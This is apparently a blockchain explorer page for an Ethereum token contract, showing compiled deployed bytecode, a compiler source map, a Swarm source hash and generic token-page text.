35565b5060006106378486611283565b600060208083528351808285015260005b8181101561106257858101830151858201604001528201611046565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461109857600080fd5b50565b600080604083850312156110ae57600080fd5b82356110b981611083565b946020939093013593505050565b6000806000606084860312156110dc57600080fd5b83356110e781611083565b925060208401356110f781611083565b929592945050506040919091013590565b60006020828403121561111a57600080fd5b813561051a81611083565b6000806040838503121561113857600080fd5b823561114381611083565b9150602083013561115381611083565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b818103818111156104595761045961115e565b808201808211156104595761045961115e565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156111c257600080fd5b815161051a81611083565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561121d5784516001600160a01b0316835293830193918301916001016111f8565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561125357600080fd5b8351925060208401519150604084015190509250925092565b80820281158282048414176104595761045961115e565b6000826112a057634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220c2bd34e1899cf7cf54c9596fd0e870bb51aa8258e4348ffdeb81cb7f8f3b511264736f6c63430008130033
Deployed Bytecode Sourcemap
4362:7009:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6441:80;;;;;;;;;;-1:-1:-1;6513:5:0;;;;;;;;;;;;-1:-1:-1;;;6513:5:0;;;;6441:80;;;;;;;:::i;:::-;;;;;;;;9097:216;;;;;;;;;;-1:-1:-1;9097:216:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;9097:216:0;1023:187:1;6176:83:0;;;;;;;;;;-1:-1:-1;6249:7:0;;6176:83;;;1361:25:1;;;1349:2;1334:18;6176:83:0;1215:177:1;7130:370:0;;;;;;;;;;-1:-1:-1;7130:370:0;;;;;:::i;:::-;;:::i;2803:103::-;;;;;;;;;;-1:-1:-1;2803:103:0;;;;;:::i;:::-;2858:4;2893:5;-1:-1:-1;;;;;2882:16:0;;;2893:5;;2882:16;;2803:103;6265:80;;;;;;;;;;-1:-1:-1;6265:80:0;;4545:1;2252:36:1;;2240:2;2225:18;6265:80:0;2110:184:1;4667:50:0;;;;;;;;;;;;;;;;5378:30;;;;;;;;;;-1:-1:-1;5378:30:0;;;;-1:-1:-1;;;5378:30:0;;;;;;6611:105;;;;;;;;;;-1:-1:-1;6611:105:0;;;;;:::i;:::-;-1:-1:-1;;;;;6695:18:0;6677:7;6695:18;;;:9;:18;;;;;;;6611:105;2912:131;;;;;;;;;;;;;:::i;:::-;;5301:35;;;;;;;;;;-1:-1:-1;5301:35:0;;;;-1:-1:-1;;;;;5301:35:0;;;;;;-1:-1:-1;;;;;2484:32:1;;;2466:51;;2454:2;2439:18;5301:35:0;2299:224:1;7038:80:0;;;;;;;;;;;;;:::i;4613:47::-;;;;;;;;;;;;;;;;6527:78;;;;;;;;;;-1:-1:-1;6579:7:0;6597:5;-1:-1:-1;;;;;6597:5:0;6527:78;;6351:84;;;;;;;;;;-1:-1:-1;6425:7:0;;;;;;;;;;;;-1:-1:-1;;;6425:7:0;;;;6351:84;;6863:156;;;;;;;;;;-1:-1:-1;6863:156:0;;;;;:::i;:::-;;:::i;5415:50::-;;;;;;;;;;;;;;;;5343:26;;;;;;;;;;-1:-1:-1;5343:26:0;;;;-1:-1:-1;;;;;5343:26:0;;;6722:133;;;;;;;;;;-1:-1:-1;6722:133:0;;;;;:::i;:::-;-1:-1:-1;;;;;6824:19:0;;;6806:7;6824:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;6722:133;9097:216;9201:10;9172:4;9189:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;9189:32:0;;;;;;;;;;:41;;;9246:37;9172:4;;9189:32;;9246:37;;;;9224:6;1361:25:1;;1349:2;1334:18;;1215:177;9246:37:0;;;;;;;;-1:-1:-1;9301:4:0;9097:216;;;;;:::o;7130:370::-;-1:-1:-1;;;;;7250:19:0;;7230:4;7250:19;;;:11;:19;;;;;;;;7270:10;7250:31;;;;;;;;-1:-1:-1;;7250:52:0;7247:186;;7352:69;;;;;;;;;;;-1:-1:-1;;;7352:69:0;;;;;;;;-1:-1:-1;;;;;7352:19:0;;-1:-1:-1;7352:19:0;;;:11;:19;;;;;7372:10;7352:31;;;;;;;;;;:69;;7388:6;;7352:35;:69::i;:::-;-1:-1:-1;;;;;7318:19:0;;;;;;:11;:19;;;;;;;;7338:10;7318:31;;;;;;;:103;7247:186;7452:40;7466:6;7474:9;7485:6;7452:13;:40::i;:::-;7445:47;;7130:370;;;;;;:::o;2912:131::-;2858:4;2893:5;-1:-1:-1;;;;;2893:5:0;2764:10;2882:16;2748:38;;;;-1:-1:-1;;;2748:38:0;;3331:2:1;2748:38:0;;;3313:21:1;3370:1;3350:18;;;3343:29;-1:-1:-1;;;3388:18:1;;;3381:36;3434:18;;2748:38:0;;;;;;;;;2985:1:::1;2969:18:::0;;-1:-1:-1;;;;;;2969:18:0::1;::::0;;3003:32:::1;::::0;2466:51:1;;;3003:32:0::1;::::0;2454:2:1;2439:18;3003:32:0::1;;;;;;;2912:131::o:0;7038:80::-;2858:4;2893:5;-1:-1:-1;;;;;2893:5:0;2764:10;2882:16;2748:38;;;;-1:-1:-1;;;2748:38:0;;3331:2:1;2748:38:0;;;3313:21:1;3370:1;3350:18;;;3343:29;-1:-1:-1;;;3388:18:1;;;3381:36;3434:18;;2748:38:0;3129:329:1;2748:38:0;7103:7:::1;::::0;7090:10:::1;:20:::0;7038:80::o;6863:156::-;6943:4;6967:44;6981:10;6993:9;7004:6;6967:13;:44::i;3451:190::-;3537:7;3573:12;3565:6;;;;3557:29;;;;-1:-1:-1;;;3557:29:0;;;;;;;;:::i;:::-;-1:-1:-1;3597:9:0;3609:5;3613:1;3609;:5;:::i;:::-;3597:17;3451:190;-1:-1:-1;;;;;3451:190:0:o;7506:991::-;7618:6;;7598:4;;7618:6;;7615:63;;;7634:41;7649:6;7657:9;7668:6;7634:14;:41::i;:::-;7627:48;;;;7615:63;7715:11;;-1:-1:-1;;;;;7702:24:0;;;7715:11;;7702:24;;;;:45;;-1:-1:-1;7743:4:0;;-1:-1:-1;;;;;7730:17:0;;;7743:4;;7730:17;;7702:45;7698:196;;;-1:-1:-1;;;;;7772:21:0;;;;;;:10;:21;;;;;;;;;:68;;-1:-1:-1;7830:10:0;;-1:-1:-1;;;;;7797:20:0;;;;;;:9;:20;;;;;;:29;;7820:6;;7797:29;:::i;:::-;:43;;7772:68;7764:118;;;;-1:-1:-1;;;7764:118:0;;4060:2:1;7764:118:0;;;4042:21:1;4099:2;4079:18;;;4072:30;4138:34;4118:18;;;4111:62;-1:-1:-1;;;4189:18:1;;;4182:35;4234:19;;7764:118:0;3858:401:1;7764:118:0;7917:16;:14;:16::i;:::-;:44;;;;-1:-1:-1;7950:11:0;;-1:-1:-1;;;;;7937:24:0;;;7950:11;;7937:24;7917:44;:68;;;;-1:-1:-1;;;;;;7966:19:0;;;;;;:11;:19;;;;;;;;7965:20;7917:68;:92;;;;;7998:11;;7989:6;:20;7917:92;7914:111;;;8012:10;:8;:10::i;:::-;-1:-1:-1;;;;;9746:19:0;;8038:22;9746:19;;;:11;:19;;;;;;;;9745:20;8063:56;;8113:6;8063:56;;;8087:23;8095:6;8103;8087:7;:23::i;:::-;8038:81;;8130:18;8153:21;8167:6;-1:-1:-1;;;;;9746:19:0;9721:4;9746:19;;;:11;:19;;;;;;;;9745:20;;9659:114;8153:21;8152:22;:57;;;;-1:-1:-1;8199:10:0;;-1:-1:-1;;;;;8178:17:0;;;;;;:9;:17;;;;;;:31;;8152:57;8151:93;;8238:6;8151:93;;;8213:23;8222:14;8213:6;:23;:::i;:::-;8130:114;;8275:57;8297:10;8275:57;;;;;;;;;;;;;-1:-1:-1;;;8275:57:0;;;:9;:17;8285:6;-1:-1:-1;;;;;8275:17:0;-1:-1:-1;;;;;8275:17:0;;;;;;;;;;;;;:21;;:57;;;;;:::i;:::-;-1:-1:-1;;;;;8255:17:0;;;;;;;:9;:17;;;;;;:77;;;;8366:20;;;;;;;:40;;8391:14;8366:24;:40::i;:::-;-1:-1:-1;;;;;8343:20:0;;;;;;;:9;:20;;;;;;;:63;;;;8424:43;;;;;;;;;;8452:14;1361:25:1;;1349:2;1334:18;;1215:177;8424:43:0;;;;;;;;-1:-1:-1;8485:4:0;;7506:991;-1:-1:-1;;;;;7506:991:0:o;8687:330::-;8817:53;;;;;;;;;;;-1:-1:-1;;;8817:53:0;;;;;;;;-1:-1:-1;;;;;8817:17:0;;8780:4;8817:17;;;:9;:17;;;;;;;:53;;8839:6;;8817:21;:53::i;:::-;-1:-1:-1;;;;;8797:17:0;;;;;;;:9;:17;;;;;;:73;;;;8904:20;;;;;;;:32;;8929:6;8904:24;:32::i;:::-;-1:-1:-1;;;;;8881:20:0;;;;;;;:9;:20;;;;;;;:55;;;;8952:35;;;;;;;;;;8980:6;1361:25:1;;1349:2;1334:18;;1215:177;8952:35:0;;;;;;;;-1:-1:-1;9005:4:0;8687:330;;;;;:::o;8505:170::-;8579:6;;8554:4;;8579:6;;8578:7;:31;;;;-1:-1:-1;8598:11:0;;-1:-1:-1;;;8598:11:0;;;;8578:31;:89;;;;-1:-1:-1;8650:17:0;;8640:4;8622:24;;;;:9;:24;;;;;;:45;;8578:89;8571:96;;8505:170;:::o;9781:1587::-;5516:6;:13;;-1:-1:-1;;5516:13:0;5525:4;5516:13;;;9861:17:::1;::::0;9958:8:::1;::::0;9940:12:::1;::::0;5516:6;;9915:59:::1;::::0;9972:1:::1;::::0;9915:52:::1;::::0;;;9861:17;;9915:24:::1;:38::i;:::-;:42:::0;::::1;:52::i;:59::-;9889:85:::0;-1:-1:-1;9985:20:0::1;10008:41;:20:::0;9889:85;10008:24:::1;:41::i;:::-;10086:16;::::0;;10100:1:::1;10086:16:::0;;;;;::::1;::::0;;9985:64;;-1:-1:-1;10062:21:0::1;::::0;10086:16;;::::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10086:16:0::1;10062:40;;10131:4;10113;10118:1;10113:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10113:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10157:13:::1;::::0;:20:::1;::::0;;-1:-1:-1;;;10157:20:0;;;;:13;;;::::1;::::0;:18:::1;::::0;:20:::1;::::0;;::::1;::::0;10113:7;;10157:20;;;;;:13;:20:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10147:4;10152:1;10147:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10147:30:0;;::::1;:7;::::0;;::::1;::::0;;;;;:30;10248:13:::1;::::0;:195:::1;::::0;-1:-1:-1;;;10248:195:0;;10214:21:::1;::::0;10248:13;;;::::1;::::0;:64:::1;::::0;:195:::1;::::0;10327:12;;10190:21:::1;::::0;10370:4;;10397::::1;::::0;10417:15:::1;::::0;10248:195:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;10454:17;10474:40;10500:13;10474:21;:25;;:40;;;;:::i;:::-;10454:60;;10525:19;10547:33;10560:19;10577:1;10560:12;;:16;;:19;;;;:::i;:::-;10547:8;::::0;;:12:::1;:33::i;:::-;10525:55;;10591:26;10620:51;10669:1;10620:44;10652:11;10620:27;10634:12;;10620:9;:13;;:27;;;;:::i;:51::-;10591:80;;10682:26;10711:44;10743:11;10711:27;10725:12;;10711:9;:13;;:27;;;;:::i;:44::-;10829:10;::::0;10821:67:::1;::::0;10682:73;;-1:-1:-1;10771:21:0::1;::::0;-1:-1:-1;;;;;10829:10:0;;::::1;::::0;10878:5:::1;::::0;10682:73;;10771:21;10821:67;10771:21;10821:67;10682:73;10829:10;10878:5;10821:67:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10770:118;;;10907:16;10899:59;;;::::0;-1:-1:-1;;;10899:59:0;;6181:2:1;10899:59:0::1;::::0;::::1;6163:21:1::0;6220:2;6200:18;;;6193:30;6259:32;6239:18;;;6232:60;6309:18;;10899:59:0::1;5979:354:1::0;10899:59:0::1;10974:19:::0;;10971:390:::1;;11009:13;::::0;:272:::1;::::0;-1:-1:-1;;;11009:272:0;;11092:4:::1;11009:272;::::0;::::1;6679:34:1::0;6729:18;;;6722:34;;;11009:13:0::1;6772:18:1::0;;;6765:34;;;6815:18;;;6808:34;11190:42:0::1;6858:19:1::0;;;6851:44;11251:15:0::1;6911:19:1::0;;;6904:35;-1:-1:-1;;;;;11009:13:0;;::::1;::::0;:29:::1;::::0;11046:18;;6613:19:1;;11009:272:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11301:48:0::1;::::0;;7435:25:1;;;7491:2;7476:18;;7469:34;;;11301:48:0::1;::::0;-1:-1:-1;7408:18:1;11301:48:0::1;;;;;;;10971:390;-1:-1:-1::0;;5534:6:0;:14;;-1:-1:-1;;5534:14:0;;;-1:-1:-1;;;;;;;;9781:1587:0:o;9325:326::-;9392:7;9412:17;9432:37;9457:11;;9432:20;9443:8;;9432:6;:10;;:20;;;;:::i;:37::-;9525:4;9507:24;;;;:9;:24;;;;;;9412:57;;-1:-1:-1;9507:39:0;;9412:57;9507:28;:39::i;:::-;9498:4;9480:24;;;;:9;:24;;;;;;;:66;;;;9562:42;;-1:-1:-1;;;;;9562:42:0;;;;;;;9594:9;1361:25:1;;1349:2;1334:18;;1215:177;9562:42:0;;;;;;;;9622:21;:6;9633:9;9622:10;:21::i;:::-;9615:28;9325:326;-1:-1:-1;;;;9325:326:0:o;3124:179::-;3182:7;;3214:5;3218:1;3214;:5;:::i;:::-;3202:17;;3243:1;3238;:6;;3230:46;;;;-1:-1:-1;;;3230:46:0;;7716:2:1;3230:46:0;;;7698:21:1;7755:2;7735:18;;;7728:30;7794:29;7774:18;;;7767:57;7841:18;;3230:46:0;7514:351:1;3647:246:0;3705:7;3729:1;3734;3729:6;3725:47;;-1:-1:-1;3759:1:0;3752:8;;3725:47;3782:9;3794:5;3798:1;3794;:5;:::i;:::-;3782:17;-1:-1:-1;3827:1:0;3818:5;3822:1;3782:17;3818:5;:::i;:::-;:10;3810:56;;;;-1:-1:-1;;;3810:56:0;;8467:2:1;3810:56:0;;;8449:21:1;8506:2;8486:18;;;8479:30;8545:34;8525:18;;;8518:62;-1:-1:-1;;;8596:18:1;;;8589:31;8637:19;;3810:56:0;8265:397:1;3899:132:0;3957:7;3984:39;3988:1;3991;3984:39;;;;;;;;;;;;;;;;;:3;:39::i;3309:136::-;3367:7;3394:43;3398:1;3401;3394:43;;;;;;;;;;;;;;;;;:3;:43::i;4037:189::-;4123:7;4158:12;4151:5;4143:28;;;;-1:-1:-1;;;4143:28:0;;;;;;;;:::i;:::-;-1:-1:-1;4182:9:0;4194:5;4198:1;4194;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:247::-;1917:6;1970:2;1958:9;1949:7;1945:23;1941:32;1938:52;;;1986:1;1983;1976:12;1938:52;2025:9;2012:23;2044:31;2069:5;2044:31;:::i;2736:388::-;2804:6;2812;2865:2;2853:9;2844:7;2840:23;2836:32;2833:52;;;2881:1;2878;2871:12;2833:52;2920:9;2907:23;2939:31;2964:5;2939:31;:::i;:::-;2989:5;-1:-1:-1;3046:2:1;3031:18;;3018:32;3059:33;3018:32;3059:33;:::i;:::-;3111:7;3101:17;;;2736:388;;;;;:::o;3463:127::-;3524:10;3519:3;3515:20;3512:1;3505:31;3555:4;3552:1;3545:15;3579:4;3576:1;3569:15;3595:128;3662:9;;;3683:11;;;3680:37;;;3697:18;;:::i;3728:125::-;3793:9;;;3814:10;;;3811:36;;;3827:18;;:::i;4396:127::-;4457:10;4452:3;4448:20;4445:1;4438:31;4488:4;4485:1;4478:15;4512:4;4509:1;4502:15;4528:251;4598:6;4651:2;4639:9;4630:7;4626:23;4622:32;4619:52;;;4667:1;4664;4657:12;4619:52;4699:9;4693:16;4718:31;4743:5;4718:31;:::i;4784:980::-;5046:4;5094:3;5083:9;5079:19;5125:6;5114:9;5107:25;5151:2;5189:6;5184:2;5173:9;5169:18;5162:34;5232:3;5227:2;5216:9;5212:18;5205:31;5256:6;5291;5285:13;5322:6;5314;5307:22;5360:3;5349:9;5345:19;5338:26;;5399:2;5391:6;5387:15;5373:29;;5420:1;5430:195;5444:6;5441:1;5438:13;5430:195;;;5509:13;;-1:-1:-1;;;;;5505:39:1;5493:52;;5600:15;;;;5565:12;;;;5541:1;5459:9;5430:195;;;-1:-1:-1;;;;;;;5681:32:1;;;;5676:2;5661:18;;5654:60;-1:-1:-1;;;5745:3:1;5730:19;5723:35;5642:3;4784:980;-1:-1:-1;;;4784:980:1:o;6950:306::-;7038:6;7046;7054;7107:2;7095:9;7086:7;7082:23;7078:32;7075:52;;;7123:1;7120;7113:12;7075:52;7152:9;7146:16;7136:26;;7202:2;7191:9;7187:18;7181:25;7171:35;;7246:2;7235:9;7231:18;7225:25;7215:35;;6950:306;;;;;:::o;7870:168::-;7943:9;;;7974;;7991:15;;;7985:22;;7971:37;7961:71;;8012:18;;:::i;8043:217::-;8083:1;8109;8099:132;;8153:10;8148:3;8144:20;8141:1;8134:31;8188:4;8185:1;8178:15;8216:4;8213:1;8206:15;8099:132;-1:-1:-1;8245:9:1;;8043:217::o
Swarm Source
ipfs://c2bd34e1899cf7cf54c9596fd0e870bb51aa8258e4348ffdeb81cb7f8f3b5112
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.